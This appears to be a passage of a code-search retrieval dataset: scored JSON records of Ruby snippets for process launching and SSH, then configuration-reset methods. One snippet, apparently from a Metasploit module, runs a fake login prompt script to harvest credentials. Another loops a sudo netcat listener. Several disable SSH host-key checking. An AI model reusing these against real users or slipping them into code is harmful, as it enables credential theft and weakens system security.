*command\n with_floating_ip vm do |address|\n wait_for_ssh vm, address, quiet: true\n\n system 'ssh', \"#{user}@#{address}\", *command\n end\nend", "title": "" }, { "docid": "356cdf6b7e29c75da7c6fbcfeb5b04a8", "score": "0.54246324", "text": "def launch_process(cmd_line, pgid, infile, outfile, errfile, fg_or_bg = :foreground)\n Process.fork do\n pgid = Process.pid if ! pgid\n Process.setpgid Process.pid, pgid\n # Give this process group control of the terminal\n Termios.tcsetpgrp $stdin, pgid if fg_or_bg == :foreground\n # Set the handling for job control back to the default\n Signal.trap('INT', 'SIG_DFL');\n Signal.trap('QUIT', 'SIG_DFL');\n Signal.trap('TSTP', 'SIG_DFL');\n Signal.trap('TTIN', 'SIG_DFL');\n Signal.trap('TTOU', 'SIG_DFL');\n Signal.trap('CHLD', 'SIG_DFL');\n\n $stdin.reopen(infile.dup)\n $stdout.reopen(outfile.dup)\n $stderr.reopen(errfile.dup)\n \n if cmd_line.ruby?\n eval cmd_line.ruby_code, @ruby_binding\n # If an exception is thrown, this process will exit with an error code of 1.\n # If we make it here, everything went fine, so exit with 0.\n exit 0\n else\n infile.close\n outfile.close\n errfile.close\n\n exec *cmd_line.argv\n end\n end\n end", "title": "" }, { "docid": "f9aacc5d0c877600d50a79f816192303", "score": "0.5417905", "text": "def remote_do(host = \"home\", &block)\n Net::SSH.start(host, 'brad') do |ssh|\n # run_cmd will use exec remotely if @ssh is set\n @ssh = ssh \n yield(ssh)\n # set it back because we're leaving the block\n @ssh = nil\n end\n end", "title": "" }, { "docid": "3bf2e63c8103c7e53d0be7d1f87b66af", "score": "0.5411615", "text": "def run_ssh(server, hParams, cmd, msg = nil)\n server_name, user, pubip, keypair = _server_info_params(server, hParams)\n\n identity = keypair[:keys]\n\n ssh_options = '-o StrictHostKeyChecking=no -o ServerAliveInterval=180'\\\n \" -i #{identity} \"\n ssh_connect = \"#{user}@#{pubip}\"\n if keypair[:coherent]\n PrcLib.warning('ssh config is currently not managed. You may '\\\n 'need to configure it yourself, otherwise forj may not '\\\n 'connect and transfert data to the box, if some options'\\\n ' are required for the connection.')\n # TODO: Implement testing branch warning. See build.sh lines 618 -> 632\n run_cmd = format cmd, ssh_options, ssh_connect\n\n PrcLib.info(msg) unless msg.nil?\n PrcLib.debug \"Running following shell instructions:\\n#{run_cmd}\"\n\n return true if system(run_cmd)\n end\n\n return false unless block_given?\n yield(server_name, user, pubip, keypair, ssh_options)\n end", "title": "" }, { "docid": "7b1d7c6bf87327c60394753425b2d7d7", "score": "0.5410051", "text": "def launch_instance\n args = [$launch_haproxy] + ARGV\n if File.exist? $PID_FILE\n args << \"-sf\"\n args.concat File.read($PID_FILE).split()\n end\n\n Process.spawn *args\nend", "title": "" }, { "docid": "e58a2469da45c901b1952e804e958056", "score": "0.5407578", "text": "def run\n return external_main if application_options[:external]\n\n application_parse_options\n\n validate_configuration(configuration) if respond_to?(:validate_configuration)\n\n Util.setup_windows_sleeper if Util.windows?\n\n main\n\n disconnect\n rescue Exception # rubocop:disable Lint/RescueException\n application_failure($!)\n end", "title": "" }, { "docid": "82cbccaf2e4073f7f01a7ddca574053a", "score": "0.5405303", "text": "def handle_ssh(params)\n line = [vagrant_(:ssh)]\n line << ssh_exec_line(params) unless params[:tasks].empty?\n line.join(' ')\n end", "title": "" }, { "docid": "ab3eb3809f701f8988446a7fc7574f3a", "score": "0.53999406", "text": "def launch\n @ready = false\n self.end_all_nodes\n appium_home = ENV['APPIUM_HOME']\n raise \"ENV['APPIUM_HOME'] must be set!\" if appium_home.nil? || appium_home.empty?\n contains_appium = File.exists?(File.join(ENV['APPIUM_HOME'], 'bin', 'appium.js'))\n raise \"Appium home `#{appium_home}` doesn't contain bin/appium.js!\" unless contains_appium\n cmd = %Q(node \"#{appium_home}\" --log-level debug)\n @pid, @in, @out, @err = popen4 cmd\n @in.close\n self # used to chain `launch.wait`\n end", "title": "" }, { "docid": "20843dc8e7580c2ea1cd453ed5496e39", "score": "0.5396463", "text": "def connect(ssid, pass, interface)\n run_external_command \"sudo bash #{connection_script} #{ssid} #{pass} #{interface}\"\n end", "title": "" }, { "docid": "4bcf892deb852d0772d49d07f68b1fba", "score": "0.53959477", "text": "def process_command_line\n Log.log.debug('process_command_line')\n exception_info=nil\n begin\n # find plugins, shall be after parse! ?\n @plugin_env[:config].add_plugins_from_lookup_folders\n # help requested without command ? (plugins must be known here)\n exit_with_usage(true) if @option_help and @opt_mgr.command_or_arg_empty?\n generate_bash_completion if @bash_completion\n # load global default options and process\n @plugin_env[:config].add_plugin_default_preset(Plugins::Config::CONF_GLOBAL_SYM)\n @opt_mgr.parse_options!\n # dual execution locking\n lock_port=@opt_mgr.get_option(:lock_port,:optional)\n if !lock_port.nil?\n begin\n # no need to close later, will be freed on process exit. must save in member else it is garbage collected\n @tcp_server=TCPServer.new('127.0.0.1',lock_port.to_i)\n rescue => e\n raise CliError,\"Another instance is already running (lock port=#{lock_port}).\"\n end\n end\n @plugin_env[:config].periodic_check_newer_gem_version\n if @option_show_config and @opt_mgr.command_or_arg_empty?\n command_sym=Plugins::Config::CONF_PLUGIN_SYM\n else\n command_sym=@opt_mgr.get_next_command(@plugin_env[:config].plugins.keys.dup.unshift(:help))\n end\n # main plugin is not dynamically instanciated\n case command_sym\n when :help\n exit_with_usage(true)\n when Plugins::Config::CONF_PLUGIN_SYM\n command_plugin=@plugin_env[:config]\n else\n # get plugin, set options, etc\n command_plugin=get_plugin_instance_with_options(command_sym)\n # parse plugin specific options\n @opt_mgr.parse_options!\n end\n # help requested for current plugin\n exit_with_usage(false) if @option_help\n if @option_show_config\n @plugin_env[:formater].display_results({:type=>:single_object,:data=>@opt_mgr.declared_options(false)})\n Process.exit(0)\n end\n # execute and display\n @plugin_env[:formater].display_results(command_plugin.execute_action)\n # finish\n @plugin_env[:transfer].shutdown\n rescue CliBadArgument => e; exception_info=[e,'Argument',:usage]\n rescue CliNoSuchId => e; exception_info=[e,'Identifier']\n rescue CliError => e; exception_info=[e,'Tool',:usage]\n rescue Fasp::Error => e; exception_info=[e,\"FASP(ascp]\"]\n rescue Aspera::RestCallError => e; exception_info=[e,\"Rest\"]\n rescue SocketError => e; exception_info=[e,\"Network\"]\n rescue StandardError => e; exception_info=[e,\"Other\",:debug]\n rescue Interrupt => e; exception_info=[e,\"Interruption\",:debug]\n end\n # cleanup file list files\n TempFileManager.instance.cleanup\n # 1- processing of error condition\n unless exception_info.nil?\n @plugin_env[:formater].display_message(:error,\"ERROR:\".bg_red.gray.blink+\" \"+exception_info[1]+\": \"+exception_info[0].message)\n @plugin_env[:formater].display_message(:error,\"Use '-h' option to get help.\") if exception_info[2].eql?(:usage)\n end\n # 2- processing of command not processed (due to exception or bad command line)\n @opt_mgr.final_errors.each do |msg|\n @plugin_env[:formater].display_message(:error,\"ERROR:\".bg_red.gray.blink+\" Argument: \"+msg)\n end\n # 3- in case of error, fail the process status\n unless exception_info.nil?\n if Log.instance.level.eql?(:debug)\n # will force to show stack trace\n raise exception_info[0]\n else\n @plugin_env[:formater].display_message(:error,\"Use '--log-level=debug' to get more details.\") if exception_info[2].eql?(:debug)\n Process.exit(1)\n end\n end\n return nil\n end", "title": "" }, { "docid": "4f2bf1f6f15c870d0b3bfafa35ef4ab9", "score": "0.5394439", "text": "def run(host, command, options = {})\n options = options.reverse_merge(ssh: Hash.new)\n options[:ssh].reverse_merge!(port: DEFAULT_PORT, paranoid: false, sudo: false)\n\n command = \"sudo -E #{command}\" if options[:ssh][:sudo]\n\n Ridley::HostConnector::Response.new(host).tap do |response|\n begin\n log.info \"Running SSH command: '#{command}' on: '#{host}' as: '#{options[:ssh][:user]}'\"\n\n defer {\n ssh(host, options) do |ssh|\n ssh.open_channel do |channel|\n if options[:sudo]\n channel.request_pty do |channel, success|\n unless success\n raise \"Could not aquire pty: A pty is required for running sudo commands.\"\n end\n\n channel_exec(channel, command, host, response)\n end\n else\n channel_exec(channel, command, host, response)\n end\n end\n ssh.loop\n end\n }\n rescue Net::SSH::AuthenticationFailed => ex\n response.exit_code = -1\n response.stderr = \"Authentication failure for user #{ex}\"\n rescue Net::SSH::ConnectionTimeout, Timeout::Error\n response.exit_code = -1\n response.stderr = \"Connection timed out\"\n rescue SocketError, Errno::EHOSTUNREACH\n response.exit_code = -1\n response.stderr = \"Host unreachable\"\n rescue Errno::ECONNREFUSED\n response.exit_code = -1\n response.stderr = \"Connection refused\"\n rescue Net::SSH::Exception => ex\n response.exit_code = -1\n response.stderr = ex.inspect\n rescue => ex\n response.exit_code = -1\n response.stderr = \"An unknown error occurred: #{ex.class} - #{ex.message}\"\n end\n\n case response.exit_code\n when 0\n log.info \"Successfully ran SSH command on: '#{host}' as: '#{options[:ssh][:user]}'\"\n when -1\n log.info \"Failed to run SSH command on: '#{host}' as: '#{options[:ssh][:user]}'\"\n else\n log.info \"Successfully ran SSH command on: '#{host}' as: '#{options[:ssh][:user]}' but it failed\"\n end\n end\n end", "title": "" }, { "docid": "61287e4147cc1e96aaa958a3b3f59b95", "score": "0.539102", "text": "def host_select(widget, host)\n\t\t\tbegin\n\t\t\t system_call=SystemCall.new('gnome-terminal -x ssh ' + host) \n\t\t\t system_call.run\n\t\t\t\t@log.write('info', \"Launched: #{host}\")\n\t\t\trescue AppIndicatorSSHError => e\n\t\t\t\tputs \"Command Error: #{e} \"\n\t\t\t\t@log.write('error', \"Error ocurred in system call: #{e}\")\n\t\t\tend\n\t\t\traise AppIndicatorSSHError, \"There was a problem calling ssh command\" unless system_call.success?\n\t\t\t#p :dbg => system_call.output\n end", "title": "" }, { "docid": "0084ddb03dc0ce2bf51be8a3985bc011", "score": "0.5384325", "text": "def interact\n check_protocol\n while ready? && (cmd = getcmd)\n begin\n\teval cmd, @sandbox\n rescue SystemExit => exc\n\tbreak\n rescue Exception => exc\n\tinterject :errors, nil, \"error evaluating command '#{cmd}'\\n>#{$!}\"\n end\n end\n end", "title": "" }, { "docid": "ccd827a84f695efb39ae80e62fc7ed90", "score": "0.53697854", "text": "def execute_in_shell(&block)\n\t\t\tself.instance_eval(&block)\n\t\tend", "title": "" }, { "docid": "ebf8065b667f4c2e57aee8fd0bd46099", "score": "0.5368473", "text": "def execute(sub_argv)\n $logger.debug 'Requiring gems for StartRemote'\n $logger.debug 'Requiring os-aws gem'\n require 'openstudio-aws'\n $logger.debug 'Requiring os-analysis gem'\n require 'openstudio-analysis'\n $logger.debug 'Successfully required all gems for StartRemote'\n\n options = {\n debug: false,\n aws_yml: '',\n server_options_json: '',\n project_dir: ''\n }\n\n opts = ::OptionParser.new do |o|\n o.banner = 'Usage: openstudio_meta start_remote [options] target'\n o.separator ''\n o.separator 'Options:'\n o.separator ''\n\n o.on('--debug', 'Whatever makes debugging easy') do |f|\n options[:debug] = f\n end\n o.on('-s', '--server_config FILE', 'JSON FILE containing the AWS server instance configuration') do |s|\n options[:server_options_json] = s\n end\n o.on('-p', '--project DIRECTORY', 'DIRECTORY containing the project to save the AWS connection to') do |p|\n options[:project_dir] = p\n end\n end\n\n # Parse the options\n argv = parse_options(opts, sub_argv)\n exit 1 unless argv\n $logger.debug(\"StartRemote command: #{argv.inspect} #{options.inspect}\")\n target = argv.shift.to_s.downcase\n unless argv == []\n $logger.error 'Extra arguments passed to the start_remote command. Please refer to the help documentation.'\n exit 1\n end\n\n # If target is AWS, ensure that needed directories and files exist and set the ENV for AWS\n if target == 'aws'\n unless ::ENV['AWS_ACCESS_KEY'] && ::ENV['AWS_SECRET_KEY'] && ::ENV['AWS_DEFAULT_REGION']\n $logger.error 'Unable to find required AWS_ACCESS_KEY, AWS_SECRET_KEY, and AWS_DEFAULT_REGION in the env vars.'\n exit 1\n end\n unless ::File.exist? options[:server_options_json]\n $logger.error \"Unable to find server configuration file #{options[:server_options_json]}\"\n exit 1\n end\n unless ::File.exist? options[:project_dir]\n $logger.error \"Unable to find project directory #{options[:project_dir]}\"\n exit 1\n end\n end\n\n # Get OpenStudioServerApi object and ensure the instance is running\n server_options = target == 'aws' ? ::JSON.parse(File.read(options[:server_options_json]), symbolize_names: true) : {}\n server_dns = find_or_create_target(target, server_options, options[:project_dir])\n if server_dns == 1\n $logger.error 'Encountered error in find_or_create_target; exiting with exit code 1'\n exit 1\n end\n $logger.info \"Server DNS: #{server_dns}\"\n\n server_dns\n end", "title": "" }, { "docid": "cf2bf187bd3076c845837e86dcc27c07", "score": "0.53671974", "text": "def login(options)\n optional_command = options[:command] || ''\n puts \"Connecting to #{options[:connection_info]['username']}@#{options[:connection_info]['hostname']}\"\n additional_things = \"-o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=error\"\n # get proxy settings\n no_proxy = options[:connection_info]['no_proxy']\n http_proxy = options[:connection_info]['http_proxy']\n https_proxy = options[:connection_info]['https_proxy']\n prox_things = ''\n prox_things += \"export NO_PROXY=#{no_proxy};\" unless no_proxy.nil?\n prox_things += \"export no_proxy=#{no_proxy};\" unless no_proxy.nil?\n prox_things += \"export HTTP_PROXY=#{http_proxy};\" unless http_proxy.nil?\n prox_things += \"export http_proxy=#{http_proxy};\" unless http_proxy.nil?\n prox_things += \"export HTTPS_PROXY=#{https_proxy};\" unless https_proxy.nil?\n prox_things += \"export https_proxy=#{https_proxy};\" unless https_proxy.nil?\n tty = '-t'\n if options[:user]\n if optional_command != ''\n # tty = '-T'\n optional_command = \"#{prox_things} sudo -E -u #{options[:user]} #{optional_command}\"\n else\n optional_command = \"#{prox_things} sudo -E su -m #{options[:user]}\"\n end\n else\n if optional_command != ''\n tty = '-T'\n optional_command = \"#{prox_things} #{optional_command}\"\n else\n optional_command = \"#{prox_things} bash\"\n end\n end\n command = \"ssh -i #{options[:connection_info]['ssh_key']} \" +\n \"#{tty} #{options[:connection_info]['username']}@#{options[:connection_info]['hostname']} \" +\n \"-p#{options[:connection_info]['port']} #{additional_things} '#{optional_command}'\"\n puts command if options[:verbose]\n start_time = Time.now\n run_output = system(command)\n total_time = Time.now - start_time\n puts \"-------> khelper finished in #{formatted_duration(total_time)} seconds\"\nend", "title": "" }, { "docid": "70e3dcd915c0baf78de3a0fc440d008d", "score": "0.5365126", "text": "def execute_invokeprompt_script(description,process,path)\n base_script = File.read(File.join(Msf::Config.data_directory, \"post\", \"powershell\", \"Invoke-LoginPrompt.ps1\"))\n if process.nil?\n sdescription = description.gsub(\"{PROCESS_NAME} needs your permissions to start. \", \"\")\n psh_script = base_script.gsub(\"R{DESCRIPTION}\", \"#{sdescription}\") << \"Invoke-LoginPrompt\"\n else\n sdescription = description.gsub(\"{PROCESS_NAME}\", process)\n psh_script2 = base_script.gsub(\"R{DESCRIPTION}\", \"#{sdescription}\") << \"Invoke-LoginPrompt\"\n psh_script = psh_script2.gsub(\"R{START_PROCESS}\", \"start-process \\\"#{path}\\\"\")\n end\n compressed_script = compress_script(psh_script)\n cmd_out, runnings_pids, open_channels = execute_script(compressed_script, datastore['TIMEOUT'])\n while(d = cmd_out.channel.read)\n print_good(\"#{d}\")\n end\n end", "title": "" }, { "docid": "041d1f87bafe09cfdcdcd03287656f6f", "score": "0.5362362", "text": "def ssh(host, options, &block)\n if options[:ssh][:gateway]\n gw_host, gw_port, gw_user = gateway(options)\n gateway = Net::SSH::Gateway.new(gw_host, gw_user, {:port => gw_port})\n begin\n gateway.ssh(host, options[:ssh][:user], options[:ssh].slice(*Net::SSH::VALID_OPTIONS)) do |ssh|\n yield ssh\n end\n ensure\n gateway.shutdown!\n end\n else\n Net::SSH.start(host, options[:ssh][:user], options[:ssh].slice(*Net::SSH::VALID_OPTIONS)) do |ssh|\n yield ssh\n end\n end\n end", "title": "" }, { "docid": "291d5fec0ac55d5cf6210ef8ad401d37", "score": "0.53621894", "text": "def run\n stty_save = `stty -g`.chomp\n trap('INT') { system('stty', stty_save); exit }\n\n loop do\n log \"Current host is: #{current_host.name}\"\n prompt = ENV['PROMPT'] || new_prompt\n\n Readline.completion_proc = Rosh::Completion.build do\n [\n current_shell.public_methods(false).map(&:to_s) |\n current_shell.system_commands.map(&:to_s),\n Rosh.hosts.keys,\n current_shell.workspace.send(:binding)\n ]\n end\n\n argv = readline(prompt, true)\n next if argv.empty?\n\n log \"Read input: #{argv}\"\n\n if multiline_ruby?(argv)\n argv = ruby_prompt(argv)\n log \"Multi-line Ruby; argv is now: #{argv}\"\n end\n\n result = execute(argv)\n puts result\n\n result\n end\n end", "title": "" }, { "docid": "64d9f369e5d2a46655d35784fbe2e395", "score": "0.5361387", "text": "def connect_ssh_tunnel\n @log.debug('opening SSH tunnel..')\n\n if self.status.eql?('running')\n self.get_ssh_info()\n @ssh = Net::SSH.start(@ssh_info[:hostname], @ssh_info[:user], :port => @ssh_info[:ssh_port], :keys => [@sshkey], :paranoid => false)\n else\n raise InternalError.new('VM is not running, unable open SSH tunnel')\n end\n\n @ssh\n end", "title": "" }, { "docid": "63c5e95532119f6b78217831876680f9", "score": "0.5360899", "text": "def ssh(host, user, port, port2open)\n cmd = \"while true; do nohup sudo nc -n -l #{port2open}; done > /dev/null 2>&1 &\"\n Net::SSH.start( host, user, :port => port, :keys => $private_key) do |ssh|\n result = ssh.exec!(cmd)\n puts result\n end\nend", "title": "" }, { "docid": "7aaf81c32b9e85de35b102e07d2f8b0c", "score": "0.5360668", "text": "def ssh_dev1_exec(exe_commands = [], debug = true)\n ssh_exec('dev1', 'dev', exe_commands, debug)\nend", "title": "" }, { "docid": "3e488c5688c2ac92216bfecd13e98cc2", "score": "0.5357572", "text": "def run_ruby(option_list)\n shell = Session::Shell.new\n command = \"#{RUBY_COMMAND} \" + option_list.join(' ')\n puts \"COMMAND: [#{command}]\" if @verbose\n @out, @err = shell.execute command\n @status = shell.exit_status\n puts \"STATUS: [#{@status}]\" if @verbose\n puts \"OUTPUT: [#{@out}]\" if @verbose\n puts \"ERROR: [#{@err}]\" if @verbose\n puts \"PWD: [#{Dir.pwd}]\" if @verbose\n shell.close\n end", "title": "" }, { "docid": "3e488c5688c2ac92216bfecd13e98cc2", "score": "0.5357572", "text": "def run_ruby(option_list)\n shell = Session::Shell.new\n command = \"#{RUBY_COMMAND} \" + option_list.join(' ')\n puts \"COMMAND: [#{command}]\" if @verbose\n @out, @err = shell.execute command\n @status = shell.exit_status\n puts \"STATUS: [#{@status}]\" if @verbose\n puts \"OUTPUT: [#{@out}]\" if @verbose\n puts \"ERROR: [#{@err}]\" if @verbose\n puts \"PWD: [#{Dir.pwd}]\" if @verbose\n shell.close\n end", "title": "" }, { "docid": "8710c60922dcf9949e000a55b85088d5", "score": "0.53550255", "text": "def launch(exec_str, description=nil)\n Process.fork do\n puts description if description\n puts 'launch: ' + exec_str\n system exec_str \n end\n end", "title": "" }, { "docid": "86ad02008bb724644b20b0d169383482", "score": "0.5343713", "text": "def setup(options)\n @host = options[:host]\n @port = options[:port]\n @timeout = options[:timeout] || 3\n @prompt = options[:prompt] || '[$%#>] \\z'\n @command = options[:command]\n end", "title": "" }, { "docid": "809a15e411ebd75a50e1b8e48fe4b377", "score": "0.5336387", "text": "def ssh(ssh_args, command)\n Kitchen::SSH.new(*ssh_args) do |conn|\n run_remote(command, conn)\n end\n end", "title": "" }, { "docid": "809a15e411ebd75a50e1b8e48fe4b377", "score": "0.5336387", "text": "def ssh(ssh_args, command)\n Kitchen::SSH.new(*ssh_args) do |conn|\n run_remote(command, conn)\n end\n end", "title": "" } ]
9a5f6d58c03493ffa26b2718670be97a
Reset configuration options to default values
[ { "docid": "9059c0774b2a31c21fc7876e69ba4f71", "score": "0.7021346", "text": "def reset!\n Whitehouse::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Whitehouse::Default.options[key])\n end\n self\n end", "title": "" } ]
[ { "docid": "dfeae341532e332e7d1a2a9e0c6b8af8", "score": "0.8494143", "text": "def reset!\n @options = defaults\n end", "title": "" }, { "docid": "dfeae341532e332e7d1a2a9e0c6b8af8", "score": "0.8494143", "text": "def reset!\n @options = defaults\n end", "title": "" }, { "docid": "8857d2fb700391d76b4a8ac39f7c354b", "score": "0.837553", "text": "def reset\n @options = VALID_OPTIONS_KEYS.inject({}) do |opts, k|\n default_option = OnTheSnow::Config.const_get(\"DEFAULT_#{k.upcase}\")\n self.send(\"#{k}=\", default_option)\n opts[k.to_s] = default_option #unless default_option.nil?\n opts\n end\n self\n end", "title": "" }, { "docid": "193f07fbed6b59676718bf78ac95283b", "score": "0.82768005", "text": "def reset_options\n VALID_OPTIONS_KEYS.each do |key|\n send(\"#{key}=\", default_options[key])\n end\n end", "title": "" }, { "docid": "22a3209cc7d52786d21c618c5ff4e833", "score": "0.8269498", "text": "def reset\n CONFIGURATION_DEFAULTS.each { |k, v| send(\"#{k}=\", v) }\n self\n end", "title": "" }, { "docid": "1bfafcd5bfa8335843ef138ddd671aa0", "score": "0.8010427", "text": "def reset_config\n config.reset_to_defaults\n end", "title": "" }, { "docid": "0212557dd7f3e4adb950d6b2d311f20c", "score": "0.7951364", "text": "def reset_options!\n @options = self::DEFAULT_OPTIONS.clone # 'self::' is necessary with ruby 1.8\n end", "title": "" }, { "docid": "fbe9f997c405fc45fe8d2beecba196fa", "score": "0.7947709", "text": "def reset!\n @options = Name.defaults.dup\n end", "title": "" }, { "docid": "9de49fb36d538235b1e4198b0cdcf4c7", "score": "0.7928181", "text": "def reset\n VALID_CONFIG_OPTIONS.each { |opt| self.send(\"#{opt}=\", nil) }\n self.logger = nil\n end", "title": "" }, { "docid": "d622a5031b835f14ef2856eecbbb6baa", "score": "0.79072756", "text": "def reset\n VALID_CONFIG_OPTIONS.each { |opt| self.reset_attribute(opt) }\n end", "title": "" }, { "docid": "ec6c08f5a3da361f96082b21e8bf52a7", "score": "0.7889995", "text": "def reset!\n configure do |c|\n DEFAULTS.each { |k, v| c.send(\"#{k}=\", v) }\n end\n end", "title": "" }, { "docid": "6d5f9cb6aad718fb3d20d541117fc6c5", "score": "0.7860083", "text": "def reset!\n @options = {}\n end", "title": "" }, { "docid": "0fde92164e674a3261dd845363495ae0", "score": "0.7829693", "text": "def reset\n @options = Marshal.load(@default)\nend", "title": "" }, { "docid": "50ea554ea76d626ac68c8026ec28de3d", "score": "0.7709086", "text": "def reset\n self.options = nil\n self.option_processors = nil\n end", "title": "" }, { "docid": "834978a0d4a0c2a066ee3b88f2e5061f", "score": "0.7668939", "text": "def reset\n initialize(@options)\n end", "title": "" }, { "docid": "77fc777e88b45380dba0129c7739e285", "score": "0.75494516", "text": "def reset\n @config = empty_config\n end", "title": "" }, { "docid": "db843b2ecb91cf29dd9178c21385ef78", "score": "0.75440854", "text": "def reset!\n DeskApi::Configuration.keys.each do |key|\n send(\"#{key}=\", DeskApi::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "9911b9bd095c00a873c68893618a97b6", "score": "0.75315976", "text": "def reset\n VALID_OPTIONS_KEYS.each{|k| send(\"#{k}=\", nil)}\n self.endpoint = DEFAULT_ENDPOINT\n self.proxy = DEFAULT_PROXY\n self.api_version = DEFAULT_API_VERSION\n self\n end", "title": "" }, { "docid": "5762158d147a190151dab9811305b7c7", "score": "0.7517629", "text": "def reset!\n tap { set_defaults }\n end", "title": "" }, { "docid": "51bd776e799c7c61ff033dda559547d1", "score": "0.7414505", "text": "def reset_defaults; end", "title": "" }, { "docid": "fc5f7de7cea89322e9dfa89f9f2774ce", "score": "0.7401739", "text": "def reset_defaults_and_overrides\n default.clear\n override.clear\n end", "title": "" }, { "docid": "b2a4d8555b53701654eee6fda72677f4", "score": "0.7351544", "text": "def reset_conf(&block)\n reset_conf_sub\n yield\n\n # reset again to go back to default setting later. Otherwise,\n # above setting is kept later.\n reset_conf_sub\n end", "title": "" }, { "docid": "874c74d9fc545c132a91bd94403fac88", "score": "0.7350788", "text": "def reset\n configure({})\n end", "title": "" }, { "docid": "8d96922f81a1efe85abd03f45b922df7", "score": "0.73213875", "text": "def set_default_options\n end", "title": "" }, { "docid": "a231aa8955b2c84b513d70c9bf1f7279", "score": "0.72808343", "text": "def reset\n VALID_CONFIG_KEYS.each do |k, v|\n send(\"#{k}=\", v)\n end\n self.rpc_spec_path = ::ENV.fetch('RPC_SPEC_PATH', DEFAULT_RSPEC_PATH).to_s\n options\n end", "title": "" }, { "docid": "23865ac518806e0b5cbad1ab23880366", "score": "0.7271754", "text": "def reset!\n @defaults.each do |k, v|\n instance_variable_set(k, v)\n end\n end", "title": "" }, { "docid": "d9c10280e2033c6230b1d6ee9a89f407", "score": "0.7204337", "text": "def reset_config\n\t\t\t@config = {}\n\t\tend", "title": "" }, { "docid": "c53dd83ef08581d87df7daae3e5d4592", "score": "0.7200395", "text": "def reset!\n @defaults.each { |key, value| instance_variable_set(key, value) }\n end", "title": "" }, { "docid": "c53dd83ef08581d87df7daae3e5d4592", "score": "0.7200395", "text": "def reset!\n @defaults.each { |key, value| instance_variable_set(key, value) }\n end", "title": "" }, { "docid": "1779ec228f26023d3c5b59d4ad92d346", "score": "0.71932864", "text": "def reset(options={})\n options = {\n :clear => true\n }.merge(options)\n\n registry.each do |option|\n if option.respond_to?(:reset)\n option.reset\n end\n end\n\n config.clear if options[:clear]\n self\n end", "title": "" }, { "docid": "7504072e91224ee4f60121941418e5d7", "score": "0.7186216", "text": "def reset\n Configuration.new\n end", "title": "" }, { "docid": "5b14759528d0f7a74953ab66371927b9", "score": "0.714207", "text": "def reset_configuration\n @configuration = nil\n end", "title": "" }, { "docid": "d12b0e144d0519232ff1712b9a659258", "score": "0.711259", "text": "def reset!\n Gocdkit::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Gocdkit::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "262b08ac87cbd4fb6c0fa888c9bb808f", "score": "0.71106964", "text": "def reset!\n Foxkit::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Foxkit::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "88e164e991a7bcc94a39a294c82dde9b", "score": "0.7078816", "text": "def reset\n self.configuration = Configuration.new\n end", "title": "" }, { "docid": "6cd7445924303fca655fa0f5f512b1ce", "score": "0.7049365", "text": "def reset\n @configuration = Configuration.new\n end", "title": "" }, { "docid": "c5d6f600ca12be258d36dbd46105c5d0", "score": "0.70418227", "text": "def reset_config!\n @log = nil\n @logger = nil\n @log_level = nil\n end", "title": "" }, { "docid": "c5d6f600ca12be258d36dbd46105c5d0", "score": "0.70418227", "text": "def reset_config!\n @log = nil\n @logger = nil\n @log_level = nil\n end", "title": "" }, { "docid": "8b3a50274ab610188a9a4b50ba0a8c85", "score": "0.7032204", "text": "def reset\n @config_file = nil\n set_defaults\n load_from_file if config_file\n end", "title": "" }, { "docid": "9bd4b84004573c6b19c84c8c1e66e2ca", "score": "0.70174444", "text": "def reset\n reset_adapters\n reset_config\n reset_handlers\n reset_hooks\n end", "title": "" }, { "docid": "c2c64b0b3e15f05b3a575951c6871000", "score": "0.7003711", "text": "def reset!\n @config = Configuration.new\n end", "title": "" }, { "docid": "bc10403c21b37829104040d2d9a48268", "score": "0.7000037", "text": "def reset\n @config = Config.new\n end", "title": "" }, { "docid": "db0bf4c0e09452d6770633e80550a49f", "score": "0.69585896", "text": "def reset\n set Exchange::Configuration::DEFAULTS[key]\n end", "title": "" }, { "docid": "a29ddb905ea79e5ed420a56f8422e4f9", "score": "0.69471484", "text": "def reset_options_with(options)\n set_agent_with(options[:user_agent]) if options.include? :user_agent\n @strict = options[:strict] if options.include? :strict\n if options.include? :load\n options = load_config_file(options[:load]) || {}\n options.symbolize_keys!\n end\n set_google_with(options[:google]) if options.include? :google\n @dicts = options[:dicts].symbolize_keys! if options.include? :dicts\n end", "title": "" }, { "docid": "a909e0b9e831f4b38a9da3f5a2603f0e", "score": "0.69420797", "text": "def reset\n @config = nil\n end", "title": "" }, { "docid": "556cfaa5865eed9acfab7d8161428c66", "score": "0.6928137", "text": "def reset!\n Unleashed::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Unleashed::Default.options[key])\n end\n\n self\n end", "title": "" }, { "docid": "135b2d33dd3aae3a94f2ba950a6bd578", "score": "0.69206053", "text": "def reset!\n Promisepay::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Promisepay::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "a3c4782b3589b41f5ba8ef8766f3cb70", "score": "0.6899282", "text": "def default_options=(opts); end", "title": "" }, { "docid": "8a74aec25afb11241a9c0f8be62f291d", "score": "0.68968105", "text": "def set_default_options!\n @options ||= OpenStruct.new\n @options.skip_uncovered = false\n @options.mute = false\n @options.reports = []\n end", "title": "" }, { "docid": "b059e6e4bfc01cd20713ab62a08bc70c", "score": "0.68685204", "text": "def reset!\n self.configuration = Configuration.new\n end", "title": "" }, { "docid": "2e5cf534e059378e0a2eb7eb1856f934", "score": "0.68572986", "text": "def set_defaults!\n __load_config( DEFAULTS )\n end", "title": "" }, { "docid": "f2590056af2b4ee766903436f579e33c", "score": "0.6849175", "text": "def reset!\n CodesWholesale::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", CodesWholesale::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "0f71c138dd7c0ae0107c9dc691f592e0", "score": "0.68435174", "text": "def reset!\n Octokit::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", Octokit::Default.options[key])\n end\n self\n end", "title": "" }, { "docid": "c8c58cc71825ef514eaca00f28b922fd", "score": "0.6834386", "text": "def reset\n reset_config\n reset_driver\n end", "title": "" }, { "docid": "81d628a45374fdcc72e510d56e507eb9", "score": "0.6818229", "text": "def reset\n self.user_agent = DEFAULT_USER_AGENT\n self.environment = DEFAULT_ENVIRONMENT\n self.api_version = DEFAULT_API_VERSION\n self.server_url = DEFAULT_SERVER_URL\n 